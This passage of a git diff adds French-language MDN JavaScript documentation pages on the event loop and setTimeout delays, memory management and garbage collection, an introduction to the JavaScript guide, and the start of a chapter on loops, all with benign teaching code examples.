+<p><strong>Attention :</strong> L'argument passé pour le délai à <code>setTimeout</code> ne correspond pas au temps exact. Cela correspond au délai minimum et non à un délai garanti. Par exemple <code>setTimeout(maFonction(),100);</code> indique uniquement que <code>maFonction</code> sera lancé <strong>au moins</strong> après 100 millisecondes.</p>
+</div>
+
+<p>Voici un exemple qui illustre ce concept (<code>setTimeout</code> ne s'exécute pas immédiatement après la fin du <em>timer</em>) :</p>
+
+<pre class="brush: js notranslate">const s = new Date().getSeconds();
+
+setTimeout(function() {
+  // prints
+  console.log("Exécuté après " + (new Date().getSeconds() - s) + " secondes.");
+}, 500);
+
+while(true) {
+  if(new Date().getSeconds() - s &gt;= 2) {
+    console.log("Ouf, on a bouclé pendant 2 secondes");
+    break;
+  }
+}
+</pre>
+
+<h3 id="Zéro_délai">Zéro délai</h3>
+
+<p>Un délai à zéro ne signifie pas que le callback sera déclenché après zéro milliseconde. Appeler <code><a href="https://developer.mozilla.org/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout" title="The documentation about this has not yet been written; please consider contributing!">setTimeout</a></code> avec un délai de <code>0</code> (zéro) milliseconde n'éxécute pas le callback après l'interval donné.</p>
+
+<p>L'exécution dépend du nombre de taches en attente dans la queue. Dans l'exemple ci-dessous, le message <code>'ceci est juste un message'</code> sera affiché dans la console avant que le message dans le callback soit traité, parce que le délai est le temps <em>minimum</em> requis par l'environnement d'exécution (runtime) pour traiter la demande (pas un temps <em>garanti</em>).</p>
+
+<p>Fondamentalement, <code>setTimeout</code> doit attendre la fin de tout le code pour les messages en file d'attente, même si vous avez spécifié une limite de temps particulière pour votre setTimeout.</p>
+
+<pre class="brush: js notranslate">(function() {
+
+  console.log('ceci est le début');
+
+  setTimeout(function cb() {
+    console.log('Callback 1: ceci est un msg depuis le callback');
+  }); // has a default time value of 0
+
+  console.log('ceci est juste un message');
+
+  setTimeout(function cb1() {
+    console.log('Callback 2: ceci est un msg depuis le callback');
+  }, 0);
+
+  console.log('ceci est la fin');
+
+})();
+
+// "ceci est le début"
+// "ceci est juste un message"
+// "ceci est la fin"
+// "Callback 1: ceci est un msg depuis le callback"
+// "Callback 2: ceci est un msg depuis le callback"</pre>
+
+<h3 id="La_communication_entre_plusieurs_environnements_dexécution">La communication entre plusieurs environnements d'exécution</h3>
+
+<p>Un web worker ou une <code>iframe</code> d'origine multiple (<em>cross origin</em>) possède sa propre pile, son propre tas et sa propre queue de messages. Deux environnements d'exécution distincts peuvent uniquement communiquer via des messages envoyés par la méthode <a href="/fr/docs/Web/API/window.postMessage"><code>postMessage</code></a>. Cette méthode permet d'ajouter un message à un autre environnement d'exécution si celui-ci « écoute » les événements <code>message</code>.</p>
+
+<h2 id="Non_bloquant">Non bloquant</h2>
+
+<p>Le modèle de la boucle d'événement possède une caractéristique intéressante : JavaScript, à  la différence d'autres langages, ne bloque jamais. La gestion des entrées-sorties (<em>I/O</em>) est généralement traitée par des événements et des callbacks. Ainsi, quand l'application attend le résultat d'une requête <a href="/fr/docs/IndexedDB">IndexedDB</a> ou d'une requête <a href="/fr/docs/XMLHttpRequest">XHR</a>, il reste possible de traiter d'autres éléments comme les saisies utilisateur.</p>
+
+<p>Il existe certaines exceptions historiques comme <code>alert</code> ou des appels XHR synchrones. C'est une bonne pratique que de les éviter. Attention, <a href="https://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311">certaines exceptions existent</a> (mais relèvent généralement de bugs d'implémentation).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">É tat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#event-loops', 'Event loops')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/#what-is-the-event-loop">Boucle d'évènements pour Node.js</a></td>
+   <td>Standard évolutif</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/javascript/gestion_de_la_mémoire/index.html b/files/fr/web/javascript/gestion_de_la_mémoire/index.html
new file mode 100644
index 0000000000..b770d41ba3
--- /dev/null
+++ b/files/fr/web/javascript/gestion_de_la_mémoire/index.html
@@ -0,0 +1,207 @@
+---
+title: Gestion de la mémoire
+slug: Web/JavaScript/Gestion_de_la_mémoire
+tags:
+  - JavaScript
+  - Mémoire
+  - Performance
+translation_of: Web/JavaScript/Memory_Management
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p>Les langages de bas niveau, tels que C, possèdent des primitives permettant de gérer la mémoire : <code><a href="https://pubs.opengroup.org/onlinepubs/009695399/functions/malloc.html">malloc()</a></code> et <code><a href="https://en.wikipedia.org/wiki/C_dynamic_memory_allocation#Overview_of_functions">free()</a></code> par exemple. En revanche, lorsqu'on utilise JavaScript, la mémoire est allouée lors de la création des objets puis libérée « automatiquement » lorsque ceux-ci ne sont plus utilisés. Cette libération automatique est appelée <em>garbage collection </em>en anglais ou ramasse-miettes. Le fait que ce processus soit automatique est souvent source de confusion et donne parfois l'impression que JavaScript (ou d'autres langages de haut niveau) ne permet pas de gérer la mémoire : nous allons voir que ce n'est pas le cas.</p>
+
+<h2 id="Le_cycle_de_vie_de_la_mémoire">Le cycle de vie de la mémoire</h2>
+
+<p>Quel que soit le langage de programmation, le cycle de vie de la mémoire ressemblera à :</p>
+
+<ol>
+ <li>Allouer la mémoire dont on a besoin</li>
+ <li>Utiliser cette mémoire allouée (lecture, écriture)</li>
+ <li>Libérer la mémoire allouée lorsqu'on n'en a plus besoin</li>
+</ol>
+
+<p>Le deuxième point est explicite, au niveau du code, pour tous les langages de programmation. Le premier et le troisième points sont explicites pour les langages de bas niveau mais souvent implicites pour les langages de haut niveau tels que JavaScript.</p>
+
+<h3 id="Allocation_de_la_mémoire_en_JavaScript">Allocation de la mémoire en JavaScript</h3>
+
+<h4 id="Initialisation_des_valeurs">Initialisation des valeurs</h4>
+
+<p>Afin de simplifier l'écriture de code, JavaScript alloue la mémoire lors de la déclaration des variables :</p>
+
+<pre class="brush: js">// alloue de la mémoire pour un nombre
+var n = 123;
+// alloue de la mémoire pour une chaîne de caractères
+var s = "azerty";
+
+// alloue de la mémoire pour un objet et les valeurs qu'il contient
+var o = {
+  a: 1,
+  b: null
+};
+
+// alloue de la mémoire pour un tableau et les valeurs qu'il contient
+var a = [1, null, "abra"];
+
+// alloue de la mémoire pour une fonction
+// une fonction est un objet qui peut être appelé
+function f(a) {
+  return a + 2;
+}
+
+// les expressions de fonction allouent aussi de la mémoire
+unElement.addEventListener('click', function(){
+  unElement.style.backgroundColor = 'blue';
+}, false);
+</pre>
+
+<h4 id="Allocation_par_appels_de_fonctions">Allocation par appels de fonctions</h4>
+
+<p>Certains appels de fonctions entraînent l'allocation mémoire d'un objet.</p>
+
+<pre class="brush: js">// Alloue la mémoire pour un objet date
+var d = new Date();
+
+// Alloue de la mémoire pour un objet représentant un élément du DOM
+var e = document.createElement('div');
+</pre>
+
+<p>Certaines méthodes allouent de la mémoire pour des nouveaux objets ou de nouvelles valeurs.</p>
+
+<pre class="brush: js">var s = "azerty";
+var s2 = s.substr(0, 3); // s2 est une nouvelle chaîne de caractères
+// Les chaînes étant immuables, JavaScript peut choisir
+// de ne pas allouer de mémoire mais seulement
+// de stocker l'intervalle [0, 3].
+
+var a = ["ouais ouais", "nan nan"];
+var a2 = ["génération", "nan nan"];
+var a3 = a.concat(a2);
+// nouveau tableau de 4 éléments
+// (résultat de la concaténation de a et a2)
+</pre>
+
+<h3 id="Utilisation_des_variables">Utilisation des variables</h3>
+
+<p>Utiliser des variables revient à lire et écrire la mémoire allouée. Cela peut être effectué lorsqu'on lit ou modifie la valeur d'une variable ou d'une propriété d'un objet ou encore lorsqu'on passe un argument à une fonction.</p>
+
+<h3 id="Libérer_la_mémoire_qui_n'est_plus_nécessaire">Libérer la mémoire qui n'est plus nécessaire</h3>
+
+<p>La plupart des problèmes concernant la gestion de la mémoire surviennent à cet endroit. Le plus difficile est de savoir « quand » la mémoire allouée n'est plus utilisée. Pour les langages « bas niveau », il faut donc que le développeur détermine quelle partie de la mémoire n'est plus utilisée à tel endroit du code et la libère.</p>
+
+<p>Les interpréteurs des langages de haut niveau intègrent un composant logiciel, appelé « ramasse-miettes » qui a pour but de surveiller l'utilisation de la mémoire afin de déterminer quand une partie de la mémoire allouée n'est plus utilisée afin de la libérer automatiquement. Ce procédé ne peut être qu'une approximation car savoir si tel ou tel fragment de mémoire est nécessaire est un problème <a href="https://fr.wikipedia.org/wiki/D%C3%A9cidabilit%C3%A9">indécidable</a> (autrement dit, ce problème ne peut être résolu par un algorithme).</p>
+
+<h2 id="Le_ramasse-miettes_ou_garbage_collection">Le ramasse-miettes ou <em>garbage collection</em></h2>
+
+<p>Comme on vient de le voir, savoir si de la mémoire peut être libérée demeure un problème indécidable. Les ramasses-miettes ne sont donc que des solutions restreintes pour ce problème. La section qui suit détaille les notions importantes pour comprendre ce mécanisme, ainsi que ses limitations.</p>
+
+<h3 id="Références">Références</h3>
+
+<p>Le concept principal utilisé par les algorithmes de ramasse-miettes est celui de <em>référence</em>. Dans ce contexte, un objet en référence un autre lorsqu'il a accès à lui (implicitement ou explicitement). Ainsi, un objet JavaScript référencera son <a href="/fr/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype</a> (référence implicite) et ses propriétés (référence explicite).</p>
+
+<p>Dans ce contexte, la notion d'objet s'étend et dépasse celle utilisée pour décrire les objets JavaScript, elle contiendra notamment les portées de fonctions (ou la portée globale).</p>
+
+<h3 id="Compter_les_références">Compter les références</h3>
+
+<p>L'algorithme le plus simple consiste à faire l'équivalence entre « un objet n'est plus nécessaire » et « un objet n'a pas d'objet le référençant ». Ainsi un objet peut être « ramassé » par le ramasse-miettes quand il n'y a plus de références pointant vers lui.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: js">var o = {
+  a: {
+    b: 2
+  }
+};
+// 2 objets sont créés. L'un est référencé par l'autre en tant que propriété.
+// L'autre est référencé car assigné à la variable 'o'.
+// Aucun des deux ne peut être ramassé par le ramasse-miettes.
+
+
+var o2 = o; // la variable 'o2' est le deuxième élément qui
+            // référence l'objet o
+o = 1;      // désormais, l'objet qui était dans 'o' possède
+            // une seule référence de o2 vers lui
+
+var oa = o2.a; // référence la propriété 'a' de l'objet
+               // cet objet a donc 2 références : une
+               // par une propriété, l'autre par la variable 'oa'
+
+o2 = "yo"; // L'objet 'o' ne possède plus de références vers lui
+           // Il peut être ramassé.
+           // Cependant sa propriété 'a' est toujours référencé.
+           // La mémoire ne peut donc pas être libérée.
+
+oa = null; // la propriété 'a' ne possède plus de références
+           // vers elle. L'objet peut être ramassé et la mémoire
+           // libérée.
+</pre>
+
+<h4 id="Une_limitation_les_cycles">Une limitation : les cycles</h4>
+
+<p>Cet algorithme est limité car il ne peut pas gérer les cycles (exemple : A référence B et B référence A, ce qui forme un cycle). Avec les cycles, des objets pourraient très bien ne plus être nécessaires et cependant il serait impossible de les ramasser pour libérer la mémoire en utilisant l'algorithme précédent car chaque objet serait référencé au moins une fois et aucun ne pourrait être « ramassé ». Les références circulaires peuvent parfois entraîner des fuites mémoire.</p>
+
+<pre class="brush: js">function f() {
+  var o = {};
+  var o2 = {};
+  o.a = o2; // o référence o2
+  o2.a = o; // o2 référence o
+
+  return "azerty";
+}
+
+f();
+</pre>
+
+<h4 id="Exemple_réel">Exemple réel</h4>
+
+<p>Les navigateurs Internet Explorer 6 et 7 utilisent cet algorithme pour gérer les objets du DOM. Certains codes peuvent donc entraîner des fuites de mémoires, en voici un exemple :</p>
+
+<pre class="brush: js">var div;
+window.onload = function() {
+  div = document.getElementById("monElementDiv");
+  div.referenceCirculaire = div;
+  div.desDonnees = new Array(10000).join("*");
+};
+</pre>
+
+<p>Dans cet exemple, l'élément du DOM <code>monElementDiv</code> possède une référence circulaire vers lui-même via la propriété <code>referenceCirculaire</code>. Si la propriété n'est pas retirée ou modifiée de façon explicite, un ramasse-miettes qui compte les références aura toujours au moins une référence comptée, ce qui gardera l'élément DOM en mémoire et ce même s'il a été retiré de l'arbre du DOM. Si l'élément du DOM contient beaucoup de données (ce qui est illustré ici avec la propriétés <code>desDonnées</code>), la mémoire consommée par ces données ne sera jamais libérée.</p>
+
+<h3 id="Algorithme_«_marquer_et_balayer_»_(mark-and-sweep)">Algorithme « marquer et balayer » (<em>mark-and-sweep</em>)</h3>
+
+<p>Cet algorithme réduit la définition « un objet n'est plus nécessaire » à « un objet ne peut être atteint ».</p>
+
+<p>L'utilisation de cet algorithme implique de savoir quels sont les objets racines (en JavaScript, la racine est l'objet global). De façon périodique, le ramasse-miettes commencera par ces racines, listera tous les objets référencés par ces racines, puis les objets référencés par eux etc. Le ramasse-miettes pourra ainsi construire une liste de tous les objets accessibles et collecter ceux qui ne sont plus accessibles.</p>
+
+<p>Cet algorithme est meilleur que le précédent car la proposition « un objet possède 0 référence » implique « un objet ne peut être atteint ». En revanche, la réciproque n'est pas vraie comme nous avons pu le voir avec les cycles.</p>
+
+<p>En 2012, l'ensemble des navigateurs web modernes disposent d'un ramasse-miettes implémentant cet algorithme <em>mark-and-sweep</em>. L'ensemble des améliorations apportées dans ce domaine de JavaScript représentent des améliorations basées sur cet algorithme, ce ne sont pas de nouveaux algorithmes ou une nouvelle définition pour les objets à supprimer.</p>
+
+<h4 id="Les_cycles_ne_posent_plus_problème">Les cycles ne posent plus problème</h4>
+
+<p>Dans l'exemple ci-dessus, après le retour de la fonction, les deux objets ne sont plus référencés par quelque chose d'accessible depuis l'objet global. L'algorithme les marquera donc comme « non-accessibles ».</p>
+
+<h4 id="Limitation_libérer_la_mémoire_manuellement">Limitation : libérer la mémoire manuellement</h4>
+
+<p>On pourrait parfois avoir envie de décider quand libérer la mémoire. En 2019, il n'est pas possible de déclencher le ramasse miettes en JavaScript.</p>
+
+<h2 id="Node.js">Node.js</h2>
+
+<p>Node.js propose certaines options et outils pour configurer et déboguer des problèmes mémoires. Ces fonctionnalités peuvent ne pas être disponibles dans les environnements navigateur.</p>
+
+<h3 id="Options_d'exécution">Options d'exécution</h3>
+
+<p>La quantité de mémoire pour la mémoire du tas (<em>heap</em>) peut être augmentée avec une option :</p>
+
+<pre class="brush: bash">node --max-old-space-size=6000 index.js</pre>
+
+<p>On peut également exposer le ramasse-miettes afin de déboguer des problèmes mémoires. Cela s'active via une option et s'utilise avec le débogueur Chrome :</p>
+
+<pre class="brush: bash">node --expose-gc --inspect index.js</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://www.ibm.com/developerworks/web/library/wa-memleak/">Article d'IBM sur les pratiques menant aux fuites mémoires en JavaScript (2007)</a> (en anglais)</li>
+ <li><a class="external" href="https://msdn.microsoft.com/en-us/magazine/ff728624.aspx">Billet de Kangax sur les méthodes à utiliser pour enregistrer les gestionnaires d'événements et éviter les fuites mémoires (2010)</a> (en anglais)</li>
+ <li><a href="/fr/docs/Performance">La performance pour les logiciels Mozilla et les modules complémentaires</a></li>
+</ul>
diff --git a/files/fr/web/javascript/guide/apropos/index.html b/files/fr/web/javascript/guide/apropos/index.html
new file mode 100644
index 0000000000..89cc90c690
--- /dev/null
+++ b/files/fr/web/javascript/guide/apropos/index.html
@@ -0,0 +1,138 @@
+---
+title: A propos de ce guide
+slug: Web/JavaScript/Guide/Apropos
+tags:
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+
+<p>JavaScript est un langage de script orienté objet et indépendant de la plateforme. Ce guide explique tout ce que vous devriez savoir pour utiliser JavaScript.</p>
+
+<h2 id="Nouvelles_fonctionalités_selon_les_versions_de_JavaScript">Nouvelles fonctionalités selon les versions de JavaScript</h2>
+
+<p></p><ul>
+<li><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.2">Nouveautés de JavaScript 1.2</a></li><li><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.3">Nouveautés de JavaScript 1.3</a></li><li><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.4">Nouveautés de JavaScript 1.4</a></li><li><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.5">Nouveautés de JavaScript 1.5</a></li><li><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.6">Nouveautés dans JavaScript 1.6</a></li><li><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.7">Nouveautés dans JavaScript 1.7</a></li><li><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.8">Nouveautés dans JavaScript 1.8</a></li><li><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.8.1">Nouveautés de JavaScript 1.8.1</a></li><li><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.8.5">Nouveautés de JavaScript 1.8.5</a></li>
+</ul><p></p>
+
+<h2 id="Ce_que_vous_devriez_déjà_connaître">Ce que vous devriez déjà connaître</h2>
+
+<p>Ce guide présuppose que vous possédez déjà les connaissances suivantes :</p>
+
+<ul>
+ <li>Une compréhension générale d'Internet et du World Wide Web (WWW).</li>
+ <li>De bonnes connaissances pratiques du langage <a href="/fr/docs/Web/HTML" title="en/HTML">HTML</a> (HyperText Markup Language).</li>
+ <li>Une expérience avec un langage de programmation est utile, mais n'est pas indispensable. Si vous débutez en programmation, vous pouvez essayer de suivre un des tutoriel de la page <a href="/fr/docs/Web/JavaScript">JavaScript</a></li>
+</ul>
+
+<h2 id="Versions_de_JavaScript">Versions de JavaScript</h2>
+
+<table class="standard-table">
+ <caption>Tableau des versions de JavaScript et des navigateurs correspondants</caption>
+ <thead>
+  <tr>
+   <th scope="col">Version JavaScript</th>
+   <th scope="col">Version du navigateur</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>JavaScript 1.0</td>
+   <td>Navigator 2.0</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.1</td>
+   <td>Navigator 3.0</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.2</td>
+   <td>Navigator 4.0-4.05</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.3</td>
+   <td>Navigator 4.06-4.7x</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.4</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.5</td>
+   <td>Navigator 6.0<br>
+    Mozilla (open source browser)</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.6</td>
+   <td><a href="/fr/Firefox/Versions/1.5">Firefox 1.5</a> et les autres produits Mozilla basés sur Gecko 1.8</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.7</td>
+   <td><a href="/fr/Firefox/Versions/2">Firefox 2</a> et les autres produits Mozilla basés sur Gecko 1.8</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.8</td>
+   <td><a href="/fr/Firefox/Versions/3">Firefox 3</a> et les autres produits Mozilla basés sur Gecko 1.9</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Où_trouver_de_l'information_sur_JavaScript">Où trouver de l'information sur JavaScript</h2>
+
+<p>La documentation JavaScript se trouve dans les ouvrages suivants:</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide">Le guide JavaScript</a> (ce guide) qui fournit l'information de base sur le langage JavaScript  et ses composantes.</li>
+ <li><a href="/fr/docs/JavaScript/Reference">La référence JavaScript</a> qui est le document de référence du langage JavaScript.</li>
+ <li><a href="http://fr.eloquentjavascript.net/">javaScript éloquent</a> est un guide d'initiation progressive avec des exercices interactifs.</li>
+</ul>
+
+<p>Si vous découvrez JavaScript, commencez par <a href="/fr/docs/Web/JavaScript/Guide">le guide JavaScript</a>. Une fois familiarisé avec les fondamentaux, vous pourrez utiliser <a href="/fr/docs/Web/JavaScript/Reference">la référence JavaScript</a> pour plus de détails sur les objets et les instructions.</p>
+
+<h2 id="Astuces_pour_l'apprentissage_du_JavaScript">Astuces pour l'apprentissage du JavaScript</h2>
+
+<p>Commencer l'apprentissage de JavaScript est assez simple : tout ce dont vous avez besoin c'est d'un navigateur Web récent. Ce guide intègre quelques fonctions JavaScript qui ne sont disponibles qu'avec les dernières versions de Firefox (et/ou les autres navigateurs basés sur le moteur Gecko), aussi est-il recommandé d'utiliser la version la plus récente de Firefox.</p>
+
+<p>Deux outils utiles sont nativement intégrés à Firefox et permettent de manipuler du JavaScript : la console web et l'ardoise JavaScript.</p>
+
+<h3 id="La_console_web">La console web</h3>
+
+<p>La <a href="/fr/docs/Outils/Web_Console">console web</a> permet d'afficher des informations sur la page web chargée dans le navigateur. Elle possède également <a href="/fr/docs/Outils/Web_Console#L'interpr.C3.A9teur_de_lignes_de_commande">une ligne de commande</a> qui permet d'exécuter des expressions JavaScript dans la page courante.</p>
+
+<p>Pour ouvrir la console web, aller dans le menu « Outils » puis « Développement web » puis « Console web ». La console apparaîtra en base de la fenêtre du navigateur. En bas de cette console se situe une ligne de commande qui peut être utilisée pour saisir du JavaScript :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7363/web-console-commandline.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="L'ardoise_JavaScript">L'ardoise JavaScript</h3>
+
+<p>La console web permet d'exécuter des lignes de JavaScript une à une. Dès qu'on souhaite exécuter plusieurs lignes, la console n'est plus très pratique. De plus, il est impossible d'enregistrer du code grâce à la console web. Pour mettre en place des exemples plus complexes, l'<a href="/fr/docs/Outils/Ardoise">ardoise JavaScript</a> sera plus adaptée.</p>
+
+<p>Pour ouvrir l'ardoise, aller dans le menu « Outils » puis « Développement web » puis « Ardoise JavaScript ». Elle s'ouvre dans une fenêtre séparée et contient un éditeur qui permet d'écrire et d'exécuter du JavaScript dans le navigateur. Elle permet également de sauvegarder/charger des scripts sur votre ordinateur</p>
+
+<p>Si vous utiliser l'option aller dans le menu « Examiner », le code contenu dans l'ardoise sera exécuter dans le navigateur et le résultat sera renvoyé dans l'éditeur sous forme d'un commentaire :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7365/scratchpad.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Conventions">Conventions</h2>
+
+<p>Les applications JavaScript fonctionnent sur de nombreux systèmes d'exploitations. Les informations de ce guide doivent s'appliquer à l'ensemble des systèmes sur lesquels fonctionne JavaScript.</p>
+
+<p>Ce guide utilise des URL de la forme suivante :</p>
+
+<p><code>http://<em>serveur</em>.<em>domaine</em>/<em>chemin</em>/<em>fichier</em>.html</code></p>
+
+<p>Dans ces URL, <em>serveur</em> représente le nom du serveur à partir duquel on lance l'application ; <em>domaine</em> représente le nom de domaine utilisé (par exemple <code>netscape.com</code> ou <code>uiuc.edu</code>) ; <em>chemin</em> représente l'arborescence du serveur et <em>fichier</em><code>.html</code> représente un fichier dans cette arborescence. Généralement, les éléments représentés en italique dans l'URL seront des paramètres et les éléments représentés en police à chasse fixe seront à prendre au sens littéral. Si votre serveur permet d'utiliser SSL/TLS, vous pourrez utiliser <code>https</code> à la place de <code>http</code>.</p>
+
+<p>Ce guide utilise les conventions de typographie suivantes :</p>
+
+<ul>
+ <li><code>La police à chasse fixe</code> est utilisée pour les exemples de code, les éléments de code (mots-clés, noms de méthodes et de propriétés), les noms de fichiers, les chemins vers les fichiers, les noms de répertoires, les balises HTML ainsi que tout texte devant être saisi à l'écran (<code><em>La police à chasse fixe italique</em></code> est utilisée pour les paramètres dans le code.)</li>
+ <li><em>L'italique</em> est utilisé pour les titres d'œuvres, l'accentuation, les variables et les paramètres ainsi que les termes à utiliser littéralement.</li>
+ <li><strong>Le gras</strong> est utilisé pour les termes du glossaire.</li>
+</ul>
+
+<div>
+<p style="text-align: right;"><span style="float: left;"><a href="/fr/docs/Web/JavaScript/Guide" title="JavaScript Guide">« Précédent</a></span><a href="/fr/docs/JavaScript/Guide/JavaScript_Overview" title="JavaScript Overview">Suivant »</a></p>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/javascript/guide/boucles_et_itération/index.html b/files/fr/web/javascript/guide/boucles_et_itération/index.html
new file mode 100644
index 0000000000..0646c94d53
--- /dev/null
+++ b/files/fr/web/javascript/guide/boucles_et_itération/index.html
@@ -0,0 +1,349 @@
+---
+title: Boucles et itérations
+slug: Web/JavaScript/Guide/Boucles_et_itération
+tags:
+  - Guide
+  - JavaScript
+  - Syntax
+translation_of: Web/JavaScript/Guide/Loops_and_iteration
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs", "Web/JavaScript/Guide/Fonctions")}}</div>
+
+<p class="summary">Les boucles permettent de répéter des actions simplement et rapidement. Ce chapitre du<a href="/fr/docs/Web/JavaScript/Guide"> guide JavaScript</a> présente les différentes instructions qu'il est possible d'utiliser en JavaScript pour effectuer des itérations.</p>
+
+<p>Les boucles permettent de répéter des actions simplement et rapidement. Une boucle peut être vue comme une version informatique de « copier N lignes » ou de « faire X fois quelque chose ». Par exemple, en JavaScript, on pourrait traduire « Faire 5 pas vers l'est » avec cette boucle :</p>
+
+<pre class="brush: js notranslate">for (let pas = 0; pas &lt; 5; pas++) {
+  // Ceci sera exécuté 5 fois
+  // À chaque éxécution, la variable "pas" augmentera de 1
+  // Lorsque'elle sera arrivée à 5, le boucle se terminera.
+  console.log('Faire ' + pas + ' pas vers l\'est');
+}
+</pre>
+
+<p>Il y a différents types de boucles mais elles se ressemblent toutes au sens où elles répètent une action un certain nombre de fois (ce nombre peut éventuellement être zéro). Les différents types de boucles permettent d'utiliser différentes façon de commencer et de terminer une boucle. Chaque type de boucle pourra être utilisé en fonction de la situation et du problème que l'on cherche à résoudre.</p>
+
+<p>Voici les différentes boucles fournies par JavaScript :</p>
+
+<ul>
+ <li>{{anch("Linstruction for")}}</li>
+ <li>{{anch("Linstruction do...while")}}</li>
+ <li>{{anch("Linstruction while")}}</li>
+ <li>{{anch("Linstruction label")}}</li>
+ <li>{{anch("Linstruction break")}}</li>
+ <li>{{anch("Linstruction continue")}}</li>
+ <li>{{anch("Linstruction for...in")}}</li>
+ <li>{{anch("Linstruction for...of")}}</li>
+</ul>
+
+<h2 id="Linstruction_for">L'instruction for</h2>
+
+<p>Une boucle {{jsxref("statements/for", "for")}} répète des instructions jusqu'à ce qu'une condition donnée ne soit plus vérifiée. La boucle <code>for</code> JavaScript ressemble beaucoup à celle utilisée en C ou en Java. Une boucle <code>for</code> s'utilise de la façon suivante :</p>
+
+<pre class="syntaxbox notranslate">for ([expressionInitiale]; [condition]; [expressionIncrément])
+  instruction
+</pre>
+
+<p>Voici ce qui se passe quand une boucle <code>for</code> s'exécute :</p>
+
+<ol>
+ <li>L'expression initiale <code>expressionInitiale</code> est exécutée si elle est présente. Généralement, on utilise cette expression pour initialiser un ou plusieurs compteurs dont on se servira dans la boucle. Il est possible d'utiliser des expressions plus complexes si besoin. Elle peut servir à déclarer des variables.</li>
+ <li>L'expression <code>condition</code> est évaluée, si elle vaut <code>true</code>, les instructions contenues dans la boucle sont exécutées. Si la valeur de <code>condition</code> est <code>false</code>, la boucle <code>for</code> se termine. Si la condition est absente, elle est considérée comme <code>true</code>.</li>
+ <li>L'instruction <code>instruction</code> est exécutée. Si l'on souhaite exécuter plusieurs instructions, on utilisera un bloc d'instructions (<code>{ ... }</code>) afin de les grouper.</li>
+ <li>Si elle est présente, l'expression de mise à jour<code> expressionIncrément</code> est exécutée.</li>
+ <li>On retourne ensuite à l'étape 2.</li>
+</ol>
+
+<h3 id="Exemple"><strong>Exemple</strong></h3>
+
+<p>La fonction suivante contient une instruction <code>for</code> qui compte le nombre d'options sélectionnées dans une liste déroulante (ici, un objet {{HTMLElement("select")}} permettant une sélection multiple). L'instruction <code>for</code> déclare une variable <code>i</code> et l'initialise à zéro. Elle vérifie que <code>i</code> est bien inférieur au nombre d'options et, pour chaque option, effectue un test conditionnel pour savoir si l'option est sélectionnée puis passe à l'option suivante en incrémentant la variable <code>i</code> pour chaque itération.</p>
+
+<pre class="brush: html notranslate">&lt;form name="selectForm"&gt;
+  &lt;p&gt;
+    &lt;label for="typesMusique"&gt;Veuillez choisir des genres musicaux, puis cliquez :&lt;/label&gt;
+    &lt;select id="typesMusique" name="typesMusique" multiple="multiple"&gt;
+      &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+      &lt;option&gt;Jazz&lt;/option&gt;
+      &lt;option&gt;Blues&lt;/option&gt;
+      &lt;option&gt;New Age&lt;/option&gt;
+      &lt;option&gt;Classique&lt;/option&gt;
+      &lt;option&gt;Opera&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/p&gt;
+  &lt;p&gt;&lt;button id="btn" type="button"&gt;Combien sont sélectionnés ?&lt;/button&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+function quantité(selectObject) {
+  let qtéSélectionnée = 0;
+  for (let i = 0; i &lt; selectObject.options.length; i++) {
+    if (selectObject.options[i].selected) {
+      qtéSélectionnée++;
+    }
+  }
+  return qtéSélectionnée;
+}
+
+let btn = document.getElementById("btn");
+btn.addEventListener("click", function(){
+  alert('Nombre d\'options choisies : ' + quantité(document.selectForm.typesMusique))
+});
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="Linstruction_do...while">L'instruction <code>do...while</code></h2>
+
